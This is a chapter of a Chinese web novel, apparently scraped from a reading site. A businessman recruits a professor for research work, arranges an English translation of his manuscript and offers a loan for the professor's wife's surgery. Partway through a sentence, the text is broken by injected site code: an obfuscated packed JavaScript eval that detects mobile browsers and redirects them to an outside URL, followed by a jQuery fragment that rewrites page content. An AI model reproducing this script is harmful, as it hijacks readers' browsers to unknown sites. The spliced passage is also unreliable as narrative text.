顾明远的妻子和女儿，都是很有礼貌的人。


    请他们坐下，又端来茶水。


    何玉衡和姜雨嘉连声道谢，把礼物放在一旁，与顾明远的妻子随便聊了几句。


    不大会儿。


    顾明远回来了。


    “何先生，姜小姐，你们怎么来我家里了？”


    顾明远把一个装着好多药瓶、药盒的小袋子递给妻子，惊讶地问道。


    “有些事情，想来拜托顾老师帮忙。”


    何玉衡笑道。


    “什么事情？”


    顾明远皱了皱眉，道：“如果是希望我指定姜雨欣做班干部，那就不要讲了。我最讨厌这种送礼讨好处的事情了！”


    “你看你。”


    妻子嗔怪地轻轻打了他一下：“有什么话，不能说得好听一点？非得这么直来直去的……我刚才和何先生、姜小姐聊了一会儿了，感觉他们不像是那种人。”


    说着，看向何玉衡和姜雨嘉：“你们来找老顾，应该不是因为想让妹妹做班干部的事情吧？”


    “当然不是。”


    何玉衡笑道：“是有其他事情……绝对是光明正大的事情！”


    “瞧你。”


    妻子又轻轻打了顾明远一下：“误会人家了吧……何先生，姜小姐，对不起啊，老顾他就是这么个臭脾气，你们不要在意……”


    “不会的。”


    何玉衡笑道：“我们很欣赏顾老师这种性格、作风。”


    “不好意思，误会你们了。”


    顾明远道了个歉，请何玉衡和姜雨嘉坐下，询问他们的来意。


    “有两件事情。”


    何玉衡说道。


    “第一件，是我我们嘉衡食品打算在将来成立一个科研中心……”


    何玉衡把自己关于成立科研中心的想法说出来，道：“现阶段，我们的部分科研任务，需要企业外部科研力量的帮助。


    所以我想暂时先与顾老师您达成远程合作的关系，把一部分我们企业内部不方便完成的科研工作拿出来交给您，同时也提供给您科研资金和薪水报酬，请您帮助我们来完成这些科研工作。


    而以后，明年或者后年，我们的科研中心成立后，我想聘请您去任职，待遇方面，至少会是你在农大教书工资的三倍。”


    “这……”


    “顾老师不必先急着拒绝或者答应。”


    何玉衡笑道：“科研中心的成立，目前来说还早。


    而具体的科研项目，也要等我回去之后，与我们企业内部的科研人员进行沟通商议后再做决定。


    你不妨先等消息，待我们给你送来第一份科研项目后，再进行考虑。”


    “好。”


    顾明远咽了口唾沫，点点头。


    何玉衡所说的这件事情，将会给他的生活带来巨大变化，对他而言太有冲击力了，脑瓜子一时嗡嗡的，需要冷静下来认真想一想，仔细考虑。


    “你说一下，第二件事。”


    他说道。


    “第二件事，是这么回事。”


    何玉衡取出自己所写的《哈利波特》稿件，道：“我打算写一部小说，并将其翻译成英文版，向海外投稿。不知道您认不认识有相关经验的翻译人才，可以完成这项工作的？”


    “认识！”


    顾明远点头道：“我们学校英文系的郝主任！他原本是京城大学的英文系教授，后来被调到我们学校担任了系主任！郝主任的英文水平很高，也一直在做小说翻译工作。中译英、英译中，都做过，经验很丰富！”


    “那可太好了！”


    何玉衡笑道：“不知顾老师现在方便不方便，带我们去建议下这位郝主任呢？”


    “可以啊！”


    顾明远起身道：“走，这就去！”


    “老顾。”


    妻子提醒道：“何先生和姜小姐带来了这些东西……”


    顾明远这才注意到放在一旁的礼物，皱眉道：“你们买这些东西做什么？带回去吧！”


    “待会儿再说。”


    何玉衡推着他走出房门：“你先带我们去见郝主任，待会儿我俩再来你家里坐坐。”


    “好吧。”


    顾明远想着既然如此，那就待会儿再让他们把东西带走就可以了。


    三人来到另外一栋住宅楼的一楼某户人家门口，敲了敲门。


    开门的是一个头发花白的老人，戴着副金丝眼镜，颇有一种老学究的派头。


    “郝主任。”


    顾明远介绍道：“这两位是从江北省来的朋友，这位叫何玉衡，这位叫姜雨嘉，何玉衡打算写一部小说，请您翻译成英文……”


    他帮忙道明来意。


    何玉衡和姜雨嘉也向郝主任问好。


    “这样啊，到家里来谈。”


    郝主任将他们请进家里，拿起何玉衡的稿件看了看，惊讶道：“你这个行文方式，本身很像是个翻译稿啊！”


    “为了翻译起来相对容易一些，我特意写成的这种风格。”


    何玉衡笑道：“就是不知道，是不是我的一厢情愿，具体有没有用。”


    “用处还是有的。”


    郝主任点点头，走马观花地翻


    看了几页，道：“没什么问题，我可以翻译。你打算什么时候要译稿？”


    “这五万字，可以在一周之内翻译出来吗？”


    何玉衡问道。


    “这么着急？”


    “这只是五万字。”


    何玉衡说道：“一个月之内，我要把至少15万字的稿件，交给一名莓国的编辑。”


    “原来如此。”


    郝主任点点头，又摇摇头：“只靠我自己的话，一周之内翻译这么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14255534|151581||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    多字，还要保证翻译质量的话，基本不可能。


    不过，我可以找两三个，与我水平差不多的朋友一起帮忙翻译。


    然后，我们还可以彼此检查、互相印证一下。”


    “可以。”


    何玉衡点头道：“您可以告诉您的朋友，稿酬千字30！只要保质保量地完成翻译任务，报酬肯定第一时间支付！”


    “千字30的稿费，何先生很大方啊。”


    郝主任笑呵呵道：“如果不是何先生要求的时间紧迫，我都想把这个活独揽下来了……好吧，我明天就联系他们，争取从明天晚上就开始翻译工作。”


    按照1984年颁布的规定。


    一般翻译稿的稿酬，是千字4-11元。


    对于特别难翻译且质量优秀的译稿，稿酬可以提高到千字12-14元。


    郝主任平时接的翻译任务，稿酬都在千字10元左右。


    何玉衡开口就是千字30元，对他而言，着实是个好活。


    别的不提，就单纯为了这笔翻译稿酬，这个活也接了！


    三人又坐了一会儿后，何玉衡把自己的联系方式留给郝主任，起身告辞。


    走出郝主任家所在的住宅楼，何玉衡问道：“顾老师，您爱人的身体是……”


    “身体里有个肿瘤。”


    顾明远神色黯然道：“虽然是良性的，但也需要摘除，可是由于这个肿瘤长的位置比较特殊，做手术的难度比较大，只能去协和做，而且费用比较高……我……实在是负担不起。”


    “有需要的话，我可以先借钱给你。”


    何玉衡说道：“健康最重要，人最重要，先把病治了。钱你可以以后慢慢还，或者从你的研发项目报酬里面陆续扣除。”


    “我……”


    顾明远张了张嘴。


    按说，他和何玉衡，也只是见了两面而已，还算不上熟悉的朋友。


    但拒绝这个钱，他又开不了口。


    妻子虽然一直在吃药控制肿瘤的增长，但每次去医院检查，医生都表示，肿瘤还在缓慢增大。


    拖下去，越来越大，手术难度越来越高。


    到时候就不只是钱的问题了，还有难以承担的手术风险问题。


    “需要多少钱？”


    何玉衡见状，问道。


    “我家里积攒了一些钱……”


    顾明远说道：“还需要大概……六千。”


    何玉衡点点头：“明天早上，你或者你爱人，在家里等着我们。”


    “谢谢！”


    顾明远的声音干涩哽咽，停下脚步，向何玉衡和姜雨嘉鞠躬：“谢谢何先生！谢谢姜小姐！”


    “哎，顾老师……”


    何玉衡和姜雨嘉连忙将其扶住。


    “顾老师言重了。”


    “力所能及，应该的。”